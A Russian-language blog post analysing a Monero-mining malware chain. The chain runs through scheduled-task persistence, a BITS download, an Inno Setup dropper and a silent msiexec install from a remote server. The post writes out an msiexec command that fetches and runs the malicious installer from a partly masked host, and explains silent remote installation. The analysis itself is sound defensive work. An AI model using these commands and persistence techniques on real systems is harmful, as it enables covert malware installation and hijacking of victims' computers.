Как-то раз на неделе обратился ко мне коллега из офиса, говорит, что его домашний компьютер вдруг начинает жутко лагать, самопроизвольно перезагружается, и т.п.
Я взялся посмотреть, что же это было.
Первым делом была проверена автозагрузка процессов и служб, как обычно делает большинство "мастеров", думая, что они при отключении там чего-либо полностью излечили компьютер от вирусов. Может быть раньше, со всякими WinLocker'ами или рекламными баннерами этот трюк и прокатывал, но времена меняются, и теперь технологии другие. В винде любых версий есть старые дыры, но вполне функциональные. Итак, первое, что видно при включении ЭВМ - открывается вот такое вот окошко (скрин не было сделать возможности с него, звиняйте, скрины пойдут дальше):
В автозагрузке, повторюсь всё в порядке:
После того, как компьютер был штатно заштопан двумя разными антивирусами, возникла идея исследовать этот файл, который система начала загружать. Но не всё оказалось так просто.
Итак, дальше расписано по шагам, каким образом работает этот вирус, и к какому конечному результату это приводит.
Шаг 0. Попадание первичного файла в систему.
Для того, чтобы в системе MS Windows инициировался какой-либо процесс, что-то должно его запускать. В первых версиях вирусов - ярлык вируса просто кидался в папку автозагрузки программ, в Windows 7 она находится по адресу:
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Потом вирусы стали добавляться в ветви реестра [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] и то же самое в разделе HKEY_LOCAL_MACHINE, откуда удалить их было уже не так просто. Но оказалось, что в автозагрузку эти файлы можно и не добавлять, чтобы не провоцировать простенькие антивирусы. В системе существует "Планировщик заданий" (mmc.exe), куда прекрасно можно добавить задачу автозапуска какой-либо программы, и даже целую исполняемую часть командной строки (сценарий):
В таком случае на действия начинают реагировать лишь единицы антивирусов, никакие а**сты, макаффи и т.п. фри версии антивирей туда по большей части даже не суются.
Итак, я попытался зайти на тот адрес из окна (http://f******r.com/) в веб-браузере. Но, попробовав ввести тот адрес, да и вообще, какой бы адрес я не открывал, я получал заглушку на nginx:
Дальше я стал копать и выяснил, что бирюзовое окно - это рабочее окно системы BITS (Background Intelligent Transfer Service). Изначально он предназначен для быстрой передачи данных по специальному протоколу через команды приложений. Как оказалось, именно этот протокол (с 2016 года, по версии xakep.ru) стал часть использоваться для загрузки вирусов. Поэтому я подключился через этот протокол, используя команды PowerShell по оригинальному адресу:
И, вуаля, я получил какой-то файл, весом гораздо больше пустой веб-страницы:
Видимо, на сервере специальным образом настроены порты, чтобы при обращении именно от BITS был отправлен экземпляр этого файла. При этом, как выяснилось, неважно, какое название у архива - всегда будет получен тот же файл. Давайте исследуем его.
Шаг 1: Первичный файл загружен. Что это?
Я открыл файл в Hex-редакторе, чтобы распознать тип. Начинается он с MZP, значит файл исполняемый. В файле была обнаружена сигнатура Inno Setup, стало ясно, что это - файл инсталлятора чего-либо:
Шаг 2. Вместо установки этого файла я воспользовался утилитой Inno Unpacker, которая дала мне следующие файлы, содержащиеся внутри проекта:
Собственно, как оказалось, программа никаких файлов в себе не содержала - только скрипт install_script с описанием установщика, а так же скомпилированный фрагмент кода, выполненного на паскале. Вот файл скрипта:
Обратите внимание на параметры [Setup], а именно название программы, и выходное имя файла OutputBasenameFile (оно совпадает кое с чем на первой картинке).
Шаг 3. Также неизвестным оставался код программы CompiledCode.bin. Для того, чтобы расшифровать его, я воспользовался декомпилятором паскаль-фрагмента кода:
Шаг 4. Стало ясно, что данные внутри кода немного зашифрованы (обфусцированы) от посторонних глаз. Немного видоизменив код, я интерпретировал его на FreePascal'е, и получил следующий результат:
Собственно, здесь можно видеть копии команд, выполняемых в Windows через cmd shell. Здесь указана команда на мгновенную перезагрузку (скорее всего, отключает антивирус: во время выключения все программы закрываются, но сам код успевает исполнится, таким образом простые антивирусы не обнаружат загрузки кода). Зачем предназначена 5 строка (пингует локалхост), я точно не знаю - скорее всего это какие-то внутренние операции для работы вируса. Программа также передаёт на сервер данные о системе, её разрядности, производительности и т.п. отдельным потоком, это можно видеть в коде, но эту часть я вырезал из-за сложности интерпретации.
Подробно нас интересует четвертая строчка: что такое msiexec?
Шаг 5. Загрузка главного инсталлятора. Распаковка.
Для тех, кто слышит об этом в первый раз - да, не удивляйтесь. Вбив в командную строку такую команду: msiexec.exe /q /i (веб-адрес), начнется немедленная, скрытая и невидимая установка исполняемого кода с удаленного адреса в систему, если инсталлятор и скрипт собран в формате msi. Файл может даже не иметь сертификата подписи. В файле могут исполняться любые команды по созданию, перемещению, переименованию файлов внутри системы, добавления их в реестр и запуск. Зачем это было добавлено? Именно через эту подпрограмму система загружает обновления. Ничего не мешает закинуть туда свои скрипты и файлы.
Ситуация такая же, как и с первым файлом - если открыть этот сайт по http, он выдаёт заглушку массой в 233 байта. Если же обратиться по любому адресу через msiexec, то сервер посылает очередной архив, весом в 2,9 Мб. Скорее всего, это вызвано определенным использование портов и специальных команд системы. Но сайт в этот раз уже другой. Это может быть одно из сотен зеркал, все настроены одинаково - обратившись по новому домену через оригинальный BITS я получил файл, весом в 328 Кб, т.е. файл с паскалем. И наоборот.
Давайте посмотрим, что внутри инсталлятора, для этого распакуем его при помощи 7-zip как обычный архив:
Внутри инсталлятора (MSICEE2.msi) оказались два файла: unzip.exe и vcruntime140.lib.zip. Во втором архиве ещё два файла, но он запаролен. Для начала я исследовал файл unzip.exe:
Оказалось, что этот файл является неизмененной копией утилиты для систем Windows 2005 года, которая называется "Info-Zip UnZip", и являющейся простым распаковщиком zip-файлов. Вот, что будет, если её запустить:
Несмотря на древность, применение этой утилиты здесь оправдано, далее расскажу, почему именно. Итак, осмотрев файлы мы зашли в тупик - что делать? Программа изучена, а второй архив запаролен. Но при помощи архиватора 7-zip мы не смогли извлечь установочный скрипт из MSI-файла. Пришлось запустить этот инсталлятор на виртуальной машине с логгированием: такой командой: msiexec.exe /i http://revir.i********s.info/yskwozrivwuwc.txt /L*V log.txt
После чего из машины был вытащен лог установки, размером в 140кб. Пройдусь по его ключевым моментам:
Шаг 6. В одной из строчек виден пароль от архива: IBM644. Но обычный архиватор этот пароль не принимает - распаковываются файлы только оригинальным UnZip'ом при помощи этой команды.
Все файлы внутри архива - исполняемые библиотеки для системы типа dll или lib. Написаны они на C, декомпилировать их я смысла не видел. Возможно, именно в них содержится блок, занимающийся копированием вируса в системе, но так глубоко я их не копал. В песочнице после их регистрации в системе (папка TEMP) появился следующий файл: [612A9A]. Смотрим, что у него внутри:
Этот файл представляет собой json - конфиг, в котором видно ключевое слово CryptoNight и URL, логин и пароль от майнинг-сервера. Данный майнер майнит монету "Monero". Данный файл подозрительно совпадает с конфиг-файлом для Windows-версии майнера "****Rig":
Скормив этот конфиг исполняемому файлу майнера (оконной версии), загруженному из интернета, действительно компьютер получил настоящую "работу", и видео при этом стало жутко лагать. В оригинальном конфиге прописано также исполнение без gui (фоновым процессом - никаких окон).
Собственно, это и есть конечный результат. Помайнил 10 секунд для него, чтобы сделать вам скрин, надеюсь, что вырученных за это время денег автору хватит как минимум на два билета до Канарских островов. Итого имеем сложный файл, прописывающий себя в нескольких местах системы, работающий на языках Pascal и C++, в итоге приводящий к запланированному запуску майнера. Берегите свои компьютеры. С вами был Kekovsky, специально для pikabu.